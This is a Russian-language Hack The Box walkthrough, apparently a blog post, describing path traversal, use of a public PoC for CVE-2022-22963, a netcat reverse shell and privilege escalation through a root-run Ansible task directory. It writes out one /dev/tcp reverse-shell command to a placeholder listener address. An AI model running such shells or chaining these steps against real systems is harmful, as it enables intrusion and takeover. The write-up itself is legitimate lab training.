Дисклеймер
Привет дорогой хтбшник) Перед прочтением статьи хотел попросить не судить мой разбор строго, так как это первая моя статья посвященная разбору машин HTB.
Всем желаю хорошего прочтения)
Получение флага user.txt
При сканировании видим открытый 8080 порт

Перейдем на сайт по открытому 8080 порту

Кнопки регистрации, авторизации, а также "Start Now" не рабочие
Нас интересует вкладка "Upload"
Перейдя по ней мы видим страницу следущего содержания

Она позволяет загружать фалы только с расширением, которые могут быть у изображений
Загрузим какое-нибудь изображение и посмотрим, что из этого выйдет
Загрузив изображение он предлагает нам на него посмотреть перейдя по ссылке

Перейдя по указанной ссылке мы видим загруженное нами ранее изображение

Но в данном случае нас интресует непосредственно сам ориджин
Из него видно, что для получения изображения мы должны указать его название в параметре img на вкладке show_image
Перейдем в burp и попробуем атаку path traversal
Повезло, нагрузку получилось перебрать руками, так как оказалась очень простой

Видим логины пользователей


Посмотрев их домашние директории видим, что флаг user.txt находится в домашней директории пользователя phil

Большего через path traversal мы не добьемся
Нужно узнать что за сервис висит на данном порту
Получим его баннер

Поискав эксплоит в интернете находим рабочий PoC для CVE-2022-22963

Проверяем PoC и видим, что получилось создать файл в директории /tmp

Создадим sh файл для получения шелла через netcat

Доставляем файл через http python сервер


Файл улетел на сервер

Открываем netcat лисенер на нашем хосте

Дадим права на выполнение скрипта

Запускаем скрипт и получаем шелл


Посмотрев, что у него в директории, видим скрытую папку .m2

В ней лежит файл setting.xml

Прочитав его видим пароль от пользователя phil

Получаем шелл пользователя phil

И забираем флаг

Получение флага root.txt
Перейдем в папку с файлом который подгружается рутовым процессом

Поискав немного в интернете находим, что можно подменить данный файл для повышения привелегий
Для этого создаем у себя на хосте файл такого содержания

Подгружаем его командой curl, через пользователя phil, в директорию /opt/automation/tasks/ и даем ему любое название, но с расширением .yml

После открывем netcat лисенер на нашей машине

От пользователя phil создаем sh файл следующей командой
echo '/bin/bash -i >& /dev/tcp/адрес_лисенера/3434 0>&1' > /tmp/root.sh
Затем необходимо выволнить перезагрузку ansible-playbook с указанием нашего файла

Ура! Мы получили root права. С радостью забираем флаг и бежим его сдавать.

Всем желаю больше побед и успехов в решении подобных заданий!
QtRoS
Первая мысль:
Hidden text
Хоть бы слово на русском добавили или какую-то логическую связность на английском :) Воспринимается как набор слов.
uhahatbl_tv Автор
Немного поспешил)
Уже исправил)